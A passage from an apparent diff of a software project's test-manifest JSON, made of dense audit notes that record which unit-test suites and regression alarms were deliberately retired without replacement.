sources3202/3206: deliberately retires seven authored/expanded cases in four whole suites without equivalent replacement. Work-item queries lose real GitHub/GitLab oversized ASCII secret-prefix empty-query and whitespace-before-trim refusal alarms; inputs share the imported size bound and exercise only its fast length branch, with no multibyte or actual provider/exposure guarantee. Skill sharing loses complete/partial managed-bundle and destination-ambiguity association checks plus three negative origin/path/scheme admission examples; these do not establish uploaded contents, arbitrary-URL fetching, authorization or execution. Retain exact originless-project direct-link fallback, cloud-delete confirmation, bundled-target repair/owner isolation and explicit Windows-host preference over stale WSL suites. Rejected3201 runtime-preference removal is excluded. No real cloud/network/host/disk, mobile or mixed-version execution validation is claimed. Audit3200 composes approved source3194: deliberately retires thirteen authored registrations/twenty-seven expanded cases in six whole automation host/list policy suites without equivalent replacement. Real RPC category/retryability and wrapped-timeout recognition, unscoped-failure/scoped-success health evidence precedence, exact-ID create selectors and per-run workspace omission, paired-web local/SSH/absent host catalog routing, incompatible/removed/unhydrated/offline execution health, runtime-before-nested-SSH recovery dispatch, and no-owned-focus/successor/foreign-list focus policy alarms are consciously lost. Retain exact20line orphan allow/refuse/precondition and exact90line cross-host same-ID search suites. No retry-timer/fence lifecycle, actual reconnect/network/write delivery, native focus, mobile/mixed-version runtime or disk persistence coverage is claimed. Audit3191 combines approved source3182/3187/3188: deliberately retires thirteen authored Vitest registrations and fifteen expanded cases, including five whole suites, without equivalent replacement. Attachment intake loses real portal/native-capture terminal interception and unowned-container refusal, immediate child-only committed availability/claim-ref negotiation and delivery, and direct-target over stable focused/background composer routing through disable/re-enable/remount and independent question focus. Exact destination/cache/draft and final-stat owner/workspace/File-release suites remain; they do not replace Surface recipient routing. Automation authoring loses destination runtime catalog membership, local/direct-SSH exclusion of paired-runtime repos, unknown-runtime empty catalog, logical project/host/setup/repo/path context payload, and missing/nonready setup refusal; these were genuine direct helper alarms, while exact schedule transformation, legacy schedule and setup-decision suites remain. Agent picker loses setup-chat/terminal/missing-installer/unsupported-or-unknown-host row projection samples and the ordinary unsearched menu variant; the entire original26-line resume recipe suite remains, including reported bypass versus default/absent permission modes, as does the exact search-result menu callback with its fixtures, model/effort commits and staged Arguments reopen outcome. Rejected predecessor3180 full recipe deletion is excluded. No actual native drag/cursor/focus/IME, upload bytes or disk/restart persistence, full automation save/scheduler/runtime transport, real resume-process flags/environment delivery, or native menu/rendered layout validation is claimed. Audit3178 combines source3169/3170/3175: deliberately retires eight authored units (six Vitest cases and two imperative custom relay scenarios), including two whole suites, without equivalent replacement. Voice Section loses per-model pending-delete isolation across interleaved A/B completion and the two-success refresh-call alarm; exact VoicePane delayed key-clear/newer enabled-toggle merge remains and does not replace row deletion coverage. Speech loses dedicated rating-scale/inclusive-ceiling, unsupported-versus-unmeasured, explicit/system-language precedence/locale alias, accuracy versus fast named/default/best-measured selection, and unmeasured/no-match examples; exact offered-user-pick versus retired-selection case and its fixture remain. Relay loses legacy ping-delivery count/liveness sampled before the silence deadline and grouped malformed Bearer/host-ID 401/429 routing checks; twelve real Worker/DurableObject/shipped-client scenarios remain, not equivalent replacement for those narrow alarms. Six prior speech cases are not all deleted: approved successor3175 keeps the original user-choice case. No actual credential/file persistence, native/GPU/engine/download delivery, production assignment policy or deployed-runtime validation is claimed by this reduction. Audit3165 combines source3160/3162: deliberately retires six authored/expanded cases across three whole suites without equivalent replacement. Launch/status losses: observed React-render pending/resuming coordination across settings and deferred offer read; stale-offer reread suppressing dialog reopen; held-local-chat recovery visibility with new-chat preferences off; disabled-local admission avoiding offer RPC despite an injected but unconsumed paired-tab fixture; and run-only lost-reply uncertainty reachability until direct viewed-run retirement. Launch probe does not prove arbitrary synchronous-store atomicity, the paired fixture is not remote runtime enrollment, and the status case directly marks viewed state rather than rendering the summary. Crew-hook losses: old-host method_not_found cache persists across party changes but is released by independently supplied connection generation/verified pairing status or pairing revision, with actual frame publication and teardown. These are real narrow coordination, admission, uncertainty and mixed-version cache alarms consciously lost. Exact web verified-runtime writer handoff guard remains; it does not replace those alarms or prove live host/native/mobile delivery. Audit3156 combines3147/3150/3152/3153/3154: deliberately retires39authored/40expanded native-chat recovery cases, eight whole suites and two orphan test-support files without equivalent replacement. Lost alarms: lost-reply unconfirmed reconciliation, skipped rows/counts and missed-frame repair, unknown/pending outcome and omitted-failure-list compatibility, uncertain history after dismissal, retry/refusal/dismiss lifecycle, hidden/consumed picker ownership, result-tree keyboard focus/disclosure and all-skipped retirement; unconfirmed-over-conflict guidance and failed-chat changes despite older host timestamps; nearest-listed ancestor/cyclic forest shape, descendant membership, host ordering/missing-host local fallback; skipped/readiness/admission counts, provisional skip/progress monotonicity, early per-chat verdicts with batch pending protection, older-host waiting, start-slot/delivery distinction, retry-over-failure and unknown-after-withdrawal attention; remote snooze/reconnect/reoffer, unseen mixed summary through open/close, watched completion retirement, new success beside old failure, failed-reread mixed-result preservation, filter/collapse completion resets, retry summary replacement and current-offer/history selection; cross-host workspace identity, rendered cyclic reachability, nested tri-state/toggle propagation, project eligibility isolation and collapse preserving selection. Exact fallback-list completion barrier, batched verdict/cleanup retention, stale-read versus dismissal publication race, and requested-but-never-rendered finished-run retirement remain; they do not replace retired alarms. Audit3146 combines source reviews3132/3133/3135/3138/3143: intentionally retire20authored/31expanded cases without equivalent replacement. Provider-session losses: structured-native terminal-resume exclusion, metadata-less completed identity, new-turn completion clearing, Pi provider-only/periodic/manual promotion, changed-transcript launch-config isolation, Pi/omp/prime-agent completed-session remote/manual-shutdown promotion, and quit/done precedence over heartbeat. Side-thread/question losses: finished-pane acquisition, hidden title/recap states, local/relay/relay-done conversation takeover with prompt/session/child resets, plain-message abandonment, compaction/session replacement and completion resets. Codex startup losses: incoming-owner cached child replacement, old-relay foreign live-session correction, completed foreign-root turn-fact permutations. Transcript losses: real temporary-JSONL partial sibling/final-child completion, unlabelled child attribution, compact cached replay preservation and100/1000completed-child roster retention/release. Compiler-ratchet losses: valid-line uncompiled-list parser grammar examples and injected-existence stale-path filtering; these did not exercise actual filesystem canonicalization or build exclusion. These are real lifecycle, ownership, replay, liveness and retention alarms, including recent#40246 regressions, deliberately lost. Retained conditional record replacement, clockless root/SSH owner isolation, persisted main-thread fork rejection, partial/final question-answer lifetime, cached-roster/missing-ID/live HTTP/durable startup boundaries and restarted-relay refusal/acceptance do not replace those losses. No native/SSH/WSL execution or equivalent coverage is claimed. Audit3128 scoped coverage reduction: Audit3121 removes VoiceDictationLanguageSetting.test.tsx (Spanish-to-es callback and unsupported-model Korean option presence) and voice-speech-model-rows.test.ts (provider/language-order/retired-on-disk list policy); these real narrow alarms are deliberately retired without replacement. VoiceSpeechModelSection per-model concurrent deletion remains unchanged. Audit3122 removes the direct absolute/parent-segment sparse-directory exception-type sample and the five-row IPC sparse-preset error-code/non-save table (two authored/six expanded cases). Those real typed-validation and IPC refusal/error-code alarms are deliberately retired. Keep both real symlink/junction floating-directory trust cases and the minimal RPC structured validation-reason serialization case. The RPC case does not replace IPC save/refusal behavior, typed normalization for both path inputs, actual Git sparse checkout or rendered localization. No equivalent replacement or fresh test/runtime/platform/remote/performance validation is claimed. Audit3124 removes ExperimentalPane.test.tsx (ordinary Pet switch callback), WorkspaceDirectorySetting.test.tsx (padded absolute saved-path normalization/no-write blur), and repository-search.perf.test.ts (navigation/selected-pane builder-call policy, fixture cardinality/nonempty entries and renamed project keyword inclusion). These real narrow alarms are retired without replacement; RepositoryPane.search.test.tsx search-to-sparse-editor request remains unchanged. Audit3129: resolver Windows case-insensitive and POSIX case-sensitive configured-env composition plus mocked-base launch-preflight Windows composition are intentionally no longer checked by the two deleted suites. No equivalent coverage claimed. Keep runtime-structured-agent-host-env.test.ts unchanged: configured Windows Claude-home account identity and host-account precedence remain checked. Audit3114 incorporates source3101: retire three structured Claude child-environment wrapper cases covering inherited stamp isolation/default and explicit entrypoint, Windows SDK-key canonicalization/default/duplicate-key order, and configured lookup/final environment/config-dir conjunction. Keep direct auth/session sanitation and Windows-versus-Linux overlay checks, actual executable lookup from supplied inherited PATH, native Windows child environment delivery, and stale option-mutation fencing. These are not equivalent replacements for the retired wrapper alarms. No fresh test/runtime, real login-shell probe, Claude SDK startup, remote/mixed-version, UI or performance result is claimed. Audit3114 incorporates source3105: retire 17 authored/20 expanded daemon launch-note cases, including the entire two-case SessionLaunchNote suite. Deliberately lose split-marker carry across same-token re-arm, stale-token retirement refusal, foreground tri-state and serial settlement, omitted-note/no-incarnation mixed-version policy, sticky retirement, first-incarnation/replacement launch preservation and held-launch precedence. Keep only the unchanged unresolved foreground-read race against a later finished attach. Supplied notes/foreground and runtime calls do not establish actual daemon/main restart, SSH, native Windows observation, mobile UI, equivalent replacement or fresh runtime/performance validation. Audit3114 incorporates source3109: retire six authored/35 expanded pricing cases: 21 accepted model-name examples, 10 unsupported/future-model fail-closed examples, malformed TTL clamp, unknown-model estimate refusal, flat-model long-context disregard and oversized long-context clamp. Keep mixed five-minute/one-hour write allocation and short/all-long/mixed long-context allocation with original fixed oracles. Real parser/refusal/bounds alarms are knowingly lost without equivalent replacement; retained tests do not validate provider rates, actual billing or request threshold classification. Preserve the archived usage-scan-append source-freeze receipt without transferring historical execution/performance credit. No fresh runtime result is claimed. Audit3108 source-only reduction (3094/3095/3100): retire 27 authored/30 expanded cases, including complete markdown view-state, file-preview link-open and CLI agent-server-route suites, without replacement. Deliberate losses include preview visibility/reference lifetime and same-path owners; SSH stat, directory/missing-target, explicit-null owner, nonmarkdown line/column, local URI routing, remote-to-client guard and same-file reuse; document-preview source-owner/folder/reuse routing, stable grant location and outside-workspace POSIX/Windows request projection; and verified remote CLI send/check refusal, suggested --on argv/copy, shell no-probe bypass, unverified-launch admission and older-peer refusal. Retain two markdown source-runtime/qualified-reveal alarms, one stale grant-rejection fence and two remote read/mutation evidence policies, with original callbacks. Final last-wins reveal did not prove transient cancellation; CLI prerequisite did not prove no real send, and envelope tests do not execute server refusal. No fresh runtime, rendered UI, actual file/SSH/paired transport, authorization, mixed-version or performance result is claimed. Audit3096 source-only reduction (3087/3088): retire 69 authored/76 expanded cases, including complete recovery-portals and reconnect-banner suites. Intentionally lose dead/default TUI replay, generated alternate-frame style composition, reset/mode/dimension and legacy missing-mode-boundary alarms, UI notice/action/reveal policies, and isolated recovery lifecycle variants, without equivalent replacement. Retained registrations and callbacks are unchanged; headless cells are not pixels, and no fresh runtime, host, SSH, WSL, rendered-app or performance result is claimed. Audit3086 source-only reduction (3079/3080/3081): intentionally retire 93 authored/100 expanded mock-boundary cases, including the complete spawn-errors and SSH reconnect overlay suites, without replacement. Retired alarms include spawn classification/ownership, reply ceilings and renderer-write failure recovery, disconnect/detach fencing branches, authority facts, and overlay retry/visibility wiring. Retained callbacks are unchanged; no fresh execution, real PTY/SSH, rendered UI, or performance result is claimed. Audit2432: The broad unit command loses the isolated BranchPicker open-change notification sample. Its unique true/false callback alarm is intentionally retired; reopening/status-refresh behavior was not exercised. No equivalent replacement or fresh validation of the reduced selector is claimed. Audit2425: The broad unit command loses the workspace-copy-status supplied readError forwarding sample. It did not exercise the branch-switch blocking promised by its title. This alarm is intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2417: The broad unit command loses two ordinary clean Git cherry-pick/revert success samples and two terminal startup foreground-read work-budget samples. These unique alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2412: The broad unit command loses the whole six-case fake-React-hook scroll-anchor suite, two generic draft-retention samples, a simple new-agent order sample, a real history-publication batching-count sample, an unmounted handoff abort/timer sample and three basic WSL preview/error samples. These alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2404: The broad unit command loses the standalone share-name lookup 503 propagation suite, initial deletion placement-kind sample, direct changed-mtime stale sample, first-pass rollback existence example and abandoned-preparation directory sample. These exact alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2397 review amendment: The broad unit command loses three standalone suites, two partial-case definitions and two URL table rows across package/download/placement tests. Keep initial wrong-port authorization, modified independent-copy digest refusal and abort-after-begin cancellation dispatch. The remaining alarms are deliberately retired; no equivalent complete replacement or fresh validation of the reduced selector is claimed. Audit2393 current-parent refresh2401: Remove the basic skill-install service alias sample and original public managed-remove receiptless refusal case. Preserve the upstream request ownership suite and transaction interruption coverage. No equivalent complete replacement or fresh validation of the reduced selector is claimed. Audit2389: The broad unit command loses the missing-preview suite, plain-global destination sample and prepublished-receipt recovery example. No equivalent replacement or fresh validation of the reduced selector is claimed. Audit2385: The broad unit command loses four authored walker/staging/protocol examples (six expanded cases); no equivalent replacement or fresh validation is claimed for the reduced suite. Audit2383: The unscoped Vitest command no longer includes the removed Antigravity catalogue suite; its exact provider-root/owner example has no equivalent replacement or fresh validation claim. Audit2377/2381: The unscoped Vitest command includes the reduced bundled-skill and native-discovery suites; the eight removed backup/legacy/catalogue/symlink/SSH-builder examples have no replacement-equivalence or fresh validation claim here. Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit1579 removes workflow/manifest/regex/private binary-header and diagnostic metric inventories, fixture selectors, injected forwarding/platform/signature/process examples, unproven overlap and internal churn counters without equivalent replacement coverage. Retains actual Git trust/diffs; filesystem hash/ELF-region/native discovery; child CLI module repair; compiler/lock/publication/rollback and synthetic Electron install/cache ownership; executable shell quoting/exit; controlled notary/timer cleanup; local patched extractor file/AST freshness; real Chromium/WebKit CSP/sandbox/HTTPS image/referrer/link/preservation controls under parsed Android headers. Five unchanged setup-pnpm/VM request-cleanup definitions reviewed and not rerun. GitHub, installer/archive, OS metric, client, native delegate, compressor, builder and Apple boundaries injected or absent where recorded. No actual native PTY, shipped full/native app, real Actions/cache/npm signature authority, downloaded Electron archive, real objdump/linker/native CLI/AppImage, signing/NSIS/notary/upload/updater or live freeze proof. Historical scope before this audit: Published Linux 1.4.188 desktop against current source in both directions; scheduled weekly and manually runnable. No required PR check.",
+      "coverageNotes": "Audit3375 composes root-adopted3370/independent3371 and3373/independent3374: intentionally retires79 authored registrations/84 expanded cases, including39 whole suites, without equivalent replacement. Lost alarms include federation field/parser inventories; Claude rejected-key precedence, credential clone redaction, managed-versus-user hook preservation and CLI defaults; setting/status/activity projections, mocked SSH/notification/reveal/Linear refusal, fake-clock reconnect and noise; image-fold artifact visibility, paste eligibility, setup trust, scripted ACP error-to-journal publication and ligature cache tuple aliasing; plus supplied folder-runner uniqueness, mobile host-overlay/credential/update/preference races, status/markup/title/keyed-row projections, subscriber cleanup, cancellation/close/refusal/link-issue and mirror suppression alarms. Retained3373 merger contiguity, dual-clock overdue-resume exactly-once, rejected-paste IPC sink and annotation schema roundtrip remain bounded. Retained actual HTTP/OSC status composition, destructive sibling-filesystem isolation, external contrast invariant and fixture CSS pixel intervention remain narrower. Original reviewed87authored/92expanded become9/9; current OpenCode suite adds two preserved upstream cases and the synthetic-title suite gained one Cursor policy mock-call case, independently reviewed for removal in root3378; current90/95 become11/11. That Cursor suppression/ready-frame regression alarm is intentionally lost; it does not observe native title ownership or tab flicker. For3370 only the peer was independently blind, with author exposure explicit;3373/3374 both blind pins were verified. This broad root unit command selects the reduced root unit suite; UNIT_INCLUDE excludes mobile tests, which require the existing mobile runner; retained Playwright component-pixel spec uses its separate existing headless fixture runner and is not validated by the broad unit command. No fresh execution, actual agent/shell/provider, OS material/focus, historical import equivalence, mobile, mixed-version or cross-platform evidence is claimed. All dated receipts retain their original scope. Audit3368 composes root-adopted3363/3364 and3367/3369: intentionally retires181 authored registrations/196 expanded cases, including28 whole suites, without equivalent replacement. Lost alarms include hibernation attention/liveness/backoff/sequential teardown and inventory, host launch compatibility/legacy/Kimi/resource cleanup, terminal recovery parser/pause/quarantine/remount, window-visibility omission-fence lifetime, launch-option rendered Start, sleeping-resume saved recipe/WSL quoting/cancellation, plus removed project/window/input variants. Additional tiny-suite losses include sentence/label/field/default inventories, credential omission, Windows argument/environment mapping, URI decoding, diagnostics, provider classification and fake-clock callback/parser examples. Retained ten registrations/twelve expanded cases include two literal Unicode Mn/Cf zero-width range guards in the actual character-range algorithm and protect narrower delayed editor bytes/destructive ownership, mounted hidden collision repair, ten transport epochs, duplicate-command refusal, caller timeout typing, executor unknown-opener refusal and failed-chunk user bytes. This broad unit command selects the reduced suite; no fresh runtime, real provider/network/PTY, filesystem restart, native UI, historical import equivalence, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain their original scope. Audit3362 composes root-adopted3358/independent3360: intentionally retires129 authored registrations/140 expanded cases, including four whole suites, without equivalent replacement. Lost alarms include supplied orphan-adoption retry/malformed inventory/cancellation; fake-terminal replay parser/wedge/disposal callbacks; all-host catalog metadata and Windows preferences; host keepalive/protocol/stale/settings failures; and removed exact-stop/suppression, source save lifetime, diff-note queue, rename/editor close, input flood/chunk refusal/limits, purge and creation examples. Retained18 registrations/21 expanded cases protect narrower ownership, generation, dirty-state, queue convergence, encoding and attachment-lease outcomes. No replacement or keeper quota claim. This broad unit command selects the reduced suite; no fresh execution, historical import equivalence, real provider/network/SSH/PTY/xterm parser, disk restart, native UI, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain their original scope. Audit3359 composes root-adopted source3355/independent3356: intentionally retires130 authored registrations/139 expanded cases, including eight whole suites, without equivalent replacement. Lost alarms include strict create naming/capability/legacy payloads; supplied transport host replacement, deadline reattach, create-handoff and split activation; agent-session fork/clipboard/platform flags; shutdown cleared-scrollback/unmounted bindings; simulator host-collision/selection/shutdown; and removed editor, catalog, mutation, launch and status examples. Retained12 adverse-ordering/state-consequence cases are narrower and do not replace all removed alarms. Two queue absences receive zero removal credit. This broad unit command selects the reduced suite; no fresh execution, historical import equivalence, real provider/network/SSH/PTY, filesystem restart, native UI, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain their original scope. Audit3349 composes adopted batches3343,3345 and refreshed3354: intentionally retires234 authored registrations/294 expanded cases, including13 whole suites, without equivalent replacement. Lost alarms include supplied terminal reconnect/replacement/typeahead/mirror/result and snapshot examples; synthetic render-desync persistence/recovery; worktree listing/owner/catalog/lineage/removal and activation/creation examples; host-scoped PR and task-record projections; editor diff/status/comment and UI send-target examples; automation observation/wake, supplied sleep/deadline clock and native-chat completion/notification/relaunch samples; held-tab layout and cleanup/progress guard examples. Retained adverse-ordering and wire-boundary cases are narrower and do not replace all removed alarms. The already-upstream visibility-resume deletion receives zero new removal credit. This broad unit command selects the reduced suite; no fresh execution, historical import equivalence, real provider/network/SSH, native process/power/GPU, rendered UI, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain their original scope. Audit3342 composes adopted source batches3333/3334,3336/3337 and3340/3341: intentionally retires180 authored registrations/263 expanded cases, including seven whole suites, without equivalent replacement. Lost alarms include corrupt editor hydration; mobile editor/diff publication and privacy projections; stale-resubscribe routing; model-picker projection/refetch/retry/fallback; editor check-details and frame property inventories; latched-pane cleanup/quiescence; client create replay identity/options/compatibility; and removed owner, async routing, terminal and layout examples. Retained definitions do not replace these alarms. This broad root unit command selects the reduced suite; no fresh execution, historical source/import equivalence, real provider/network/SSH, rendered UI, durability restart, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts keep their original scope. Audit3335 composes adopted source unions3327/3328 and3330/3332: intentionally retires100 authored registrations/123 expanded cases, including ten whole suites, without equivalent replacement. Lost alarms include seeded host persistence/contention and stale-host cleanup; browser snapshot assembly; mocked wake/DPR callbacks and frame budgets; preflight projections; palette authority/cache suppression, URL intent and saved-title cross-repo collisions; metadata coverage/set patch and dropdown assembly; and removed terminal, worktree, review-refresh and owner-routing examples. Retained definitions do not replace these alarms. This broad root unit command selects the reduced suite; no fresh execution, historical source/import equivalence, real provider/network/SSH, rendered UI/GPU/focus, durability restart, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain only their original scope. Audit 3318 composes adopted sources 3310, 3313 and 3317: intentionally retires 71 authored declarations and 102 expanded cases, including whole terminal-detach agent-retention, seeded batch/single open-files equivalence, shallow context-menu shortcut-badge, mocked active-workspace delete-dispatch, workspace session hydration, SSH target cleanup, editor session hydration and worktree terminal purge suites. Lost alarms include chained transfer alias and immediate close/exit retention; batch/single divergence, survivor/selection/map preservation and input nonmutation across 400 imperative seeds (one registered case); disconnected pending-handle retry, authoritative absences/close-record shortcut/older-host absence and published-presence/unpublished-frame examples; published empty host-graph omission to pane exit; legacy search ranking/exclusion fallback; provider request upgrade/dedupe/finalizer ownership; asynchronous PR suppression/primary-change and same-number different-repository URL rejection. Deletion routing loses host/instance qualification, paired and legacy mapping, folder ownership, active-versus-hover/menu-row selection, ambiguity, modal/editable/creation/view/main/deleting/missing guards and shortcut advertisement. Unchanged real keyboard/hover/confirmation/catalog E2E remains narrower, not an equivalent replacement. Additional losses include scripted old-host disk/UTF-8/noop/baseline and landed/unlanded lost-reply/replacement-retry outcomes; ordinary/repeated healthy-link reattach; cross-owner terminal/chat binding; oversized replay permanent-unavailable classification; floating reveal keyboard ownership/close/disable/listener disposal; naming/retained-turn/Sleep/error/close/reject status tables; SSH membership prune/new-target-only reads and environment/local bucket isolation; same-frame receipt capacity and positive bare/headless publisher readmission. These actual regression alarms are deliberately lost; no fresh gate, provider, rendered, mobile, mixed-version, cross-platform, soak or measured-budget validation is claimed. Audit 3312 composes adopted sources 3302 and 3308: deliberately retires 33 authored declarations and 36 expanded cases, including the whole backend startup-focus, active-browser IPC-close-routing, remote-browser-creation and agent-terminal-presence suites. Intentionally lost alarms cover distinct six-pane reconnect handles; SSH host label/Connect callback, unhydrated visit cleanup, repo cache aliases and hidden worktree/tab/PTY cleanup; adopted-agent startup focus and viewer navigation/reuse; staged, pageless, source, stale and orphan browser-close routing; web local-materialization refusal, desktop incapable-host fallback, failed/thrown remote creation and paired-web sign-in refusal; BOM/NUL and remote/local custom-editor byte-read examples; immediate folder activation and unread clearing; and batching idle/coalescing, accumulated byte ceiling, leading-edge-disabled, standalone synchronous oversize rejection, validation yield, deferred pending-tail order and both viewport-clear examples. The newly reintroduced agent-terminal-presence suite also loses actual terminal-status membership positive and nonterminal-status callback suppression alarms, including the recent 40916 guard regression; the older different 2133 presence-suite history remains historical and receives zero duplicate removal credit. These real regression alarms are intentionally lost. The unchanged survivors provide narrower coverage, with no equivalent replacement or fresh gate, provider, rendered, remote/mobile, mixed-version, cross-platform, soak or measured-budget validation claimed. Audit 3301 combines adopted source batches 3296 and 3299: retire 27 authored declarations and 36 expanded scenarios, including six whole suites. Intentionally lost alarms cover failed-verification/recovery/restart counters and mocked hosting/toast; early overlapping pane-read scheduling/count; unreadable removal listing draft guard; bulk-purge remote-qualified and raw-local guard maps; initial-snapshot blank/mode/oversize/printable/fresh-spawn callback and replay examples; fallback mobile file close and ordinary MRU; default queue overload/drain; seeded browser-page reuse and supplied missing-page URL recreation; ambiguous sleep/hibernation owner refusal and untouched bindings/origins; ordinary selection/activity/fallback priority; skip-remote success and retained hints; supplied structured-chat unsent retention and scoped removal draft eviction; caller-chat focus precedence; open/draft PR cache eviction and merged-head fallback result inventories. Retained adverse-ordering and ownership cases are narrower and do not establish equivalent replacements. No fresh runtime, native, physical provider, cross-platform, mobile or mixed-version evidence is claimed. Audit 3292 combines adopted 3285/3287/3289/3293 removals: 40 authored declarations and 47 expanded scenarios, including whole frame-editor-view, ambiguous remote-delete-refusal, unverifiable-host subscription and editor-close cleanup suites. The previously reviewed dock-badge suite was already removed upstream in PR 40895 and receives zero new removal credit. Intentionally retired alarms include background browser selection and last-tab landing; main startup fallback, SSH project cleanup/survivor routing, exact-PR contradiction/saved-push positives, replay/sidecar rollback and wrapped remote error normalization; records/snapshot missing-diff hydration, ambiguous folder-owner delete refusal, focus no-op notifications, nested editor context-only cache check, pending broadcast-first status and ordinary four-confirmation aggregation; preview-source frontmatter pruning, approved local/runtime agent dispatch, non-GitHub legacy PR cache invalidation, stale merged-head transient-error fallback, empty-queue immediate query reply and unverified-to-concrete preflight risk. Additional intentionally retired alarms are injected host subscription/unsubscribe counts, synthetic editor reveal/draft/fallback/scoped close, ambiguous unread refusals and hidden mark/read roundtrip, immediate connect backoff/noError, positive mirrored evidence-clock renewal, supplied VM failure/success projections and git-local/folder-SSH wake permutations. Remaining temporal/ownership cases are narrower; no equivalent replacement or fresh execution is claimed. Audit 3283 removes 20 authored declarations and 31 expanded scenarios, including two whole suites. Retired alarms cover PR refresh-state pruning, shared runtime subscription cleanup and store isolation, language content-change routing and older completion ownership, ordinary panel retry-timer cleanup and pending loading, four hosted-review lifetime permutations, mocked terminal creation error/order wiring, five sleep-inventory variants with pending-frame-only assertions, palette fallback/composite highlights, Windows/UNC encoded-editor input rows, mixed-repository partial failure counts, title setters and generated-title bypass/replacement, five window-close coordinator delegation/guard/finally branches, and ambiguous-old-record frame reveal. These regression checks are intentionally lost under the test-value audit; retained cases are not equivalent replacements. Prior coverage notes and receipts remain historical. Audit 3273 removes 14 authored declarations and 19 expanded scenarios across four whole suites and eight partial suites. Retired alarms cover saved-local cancellation/layout ownership, ambiguous-owner warning reset, folder attachment routing, VM false-capability bypass, abandoned reveal warmup cleanup and viewport claim deduplication/rearming, quiet unrelated remote-removal refusal, startup-command one-shot consumption, repository/floating recovery-ledger rows, fake-React pinned-scroll intent, split-ratio state identity/subscriber suppression and fractional change, cross-host project-group join refusal, three PR request-lifetime permutations, upstream-status preservation on error, and unresolved Git-owner refusal. These regression checks are intentionally lost under the test-value audit; retained scenarios are not equivalent replacements. Historical coverage receipts remain historical, including gate35 subscriber claims. Audit 3256 removes these specific alarms from the broad root unit commands: skill dialog active-share selection, close and pending-share handoff; simple keyed-record deletion; marker live-region insertion, simple landing and nine baseline policy examples; General search/control navigation inventory; orphan-count cache bootstrap; seven Codex code classifications and HTTP 429 warning mapping; two skill unread-root verdict examples; peer-mail payload and conversation-ID rejection; and the GitHub organization TABLE text-field optimistic rollback/failed-envelope example. These include real behaviors; retained tests do not provide equivalent coverage for every removed scenario. Mobile losses are recorded separately and are not coverage of these root commands. Audit3246 retires NewRowsMarker reveal/no-repeat and pane-scoped beforeinput checks; skill-owner option availability/count/dedup/order; six styled Input/Textarea IME forwarding rows; the static Codex/OpenCode smart-key inventory; tab-map AST ratchet diagnostic fixtures; child-roster work-budget and retained-aggregate alarms; malformed persisted floating-cwd fallback/no-crash/empty exact-root checks; the unanswered-host empty-list discriminator; the direct invalidated-cache commit-false assertion; one redundant digit-keyup IME row; cached non-supported Claude title-generator rows; and the duplicate late naming-result singleton. These root broad commands lose those specific alarms without equivalent replacement. Distinct retained owner/state checks have their own bounded claims; the real scheduler still rejects stale response data, while the direct false-return alarm is retired. Audit3231 retires supported-host restore-pane key mapping, closed/open creation-sidebar toggle visibility, unrelated scope-error/null classification and quick-submit reveal/no-create checks. These broad commands lose those real narrow alarms; no replacement coverage is claimed. Audit3219 removes the synthetic Cmd+J extra-source suite; this broad command no longer checks its match/tie placement and selection, announced count, empty-query cap, or workspace hiding with retained recent tabs. No replacement coverage is claimed. Audit3209 composes approved sources3202/3206: deliberately retires seven authored/expanded cases in four whole suites without equivalent replacement. Work-item queries lose real GitHub/GitLab oversized ASCII secret-prefix empty-query and whitespace-before-trim refusal alarms; inputs share the imported size bound and exercise only its fast length branch, with no multibyte or actual provider/exposure guarantee. Skill sharing loses complete/partial managed-bundle and destination-ambiguity association checks plus three negative origin/path/scheme admission examples; these do not establish uploaded contents, arbitrary-URL fetching, authorization or execution. Retain exact originless-project direct-link fallback, cloud-delete confirmation, bundled-target repair/owner isolation and explicit Windows-host preference over stale WSL suites. Rejected3201 runtime-preference removal is excluded. No real cloud/network/host/disk, mobile or mixed-version execution validation is claimed. Audit3200 composes approved source3194: deliberately retires thirteen authored registrations/twenty-seven expanded cases in six whole automation host/list policy suites without equivalent replacement. Real RPC category/retryability and wrapped-timeout recognition, unscoped-failure/scoped-success health evidence precedence, exact-ID create selectors and per-run workspace omission, paired-web local/SSH/absent host catalog routing, incompatible/removed/unhydrated/offline execution health, runtime-before-nested-SSH recovery dispatch, and no-owned-focus/successor/foreign-list focus policy alarms are consciously lost. Retain exact20line orphan allow/refuse/precondition and exact90line cross-host same-ID search suites. No retry-timer/fence lifecycle, actual reconnect/network/write delivery, native focus, mobile/mixed-version runtime or disk persistence coverage is claimed. Audit3191 combines approved source3182/3187/3188: deliberately retires thirteen authored Vitest registrations and fifteen expanded cases, including five whole suites, without equivalent replacement. Attachment intake loses real portal/native-capture terminal interception and unowned-container refusal, immediate child-only committed availability/claim-ref negotiation and delivery, and direct-target over stable focused/background composer routing through disable/re-enable/remount and independent question focus. Exact destination/cache/draft and final-stat owner/workspace/File-release suites remain; they do not replace Surface recipient routing. Automation authoring loses destination runtime catalog membership, local/direct-SSH exclusion of paired-runtime repos, unknown-runtime empty catalog, logical project/host/setup/repo/path context payload, and missing/nonready setup refusal; these were genuine direct helper alarms, while exact schedule transformation, legacy schedule and setup-decision suites remain. Agent picker loses setup-chat/terminal/missing-installer/unsupported-or-unknown-host row projection samples and the ordinary unsearched menu variant; the entire original26-line resume recipe suite remains, including reported bypass versus default/absent permission modes, as does the exact search-result menu callback with its fixtures, model/effort commits and staged Arguments reopen outcome. Rejected predecessor3180 full recipe deletion is excluded. No actual native drag/cursor/focus/IME, upload bytes or disk/restart persistence, full automation save/scheduler/runtime transport, real resume-process flags/environment delivery, or native menu/rendered layout validation is claimed. Audit3178 combines source3169/3170/3175: deliberately retires eight authored units (six Vitest cases and two imperative custom relay scenarios), including two whole suites, without equivalent replacement. Voice Section loses per-model pending-delete isolation across interleaved A/B completion and the two-success refresh-call alarm; exact VoicePane delayed 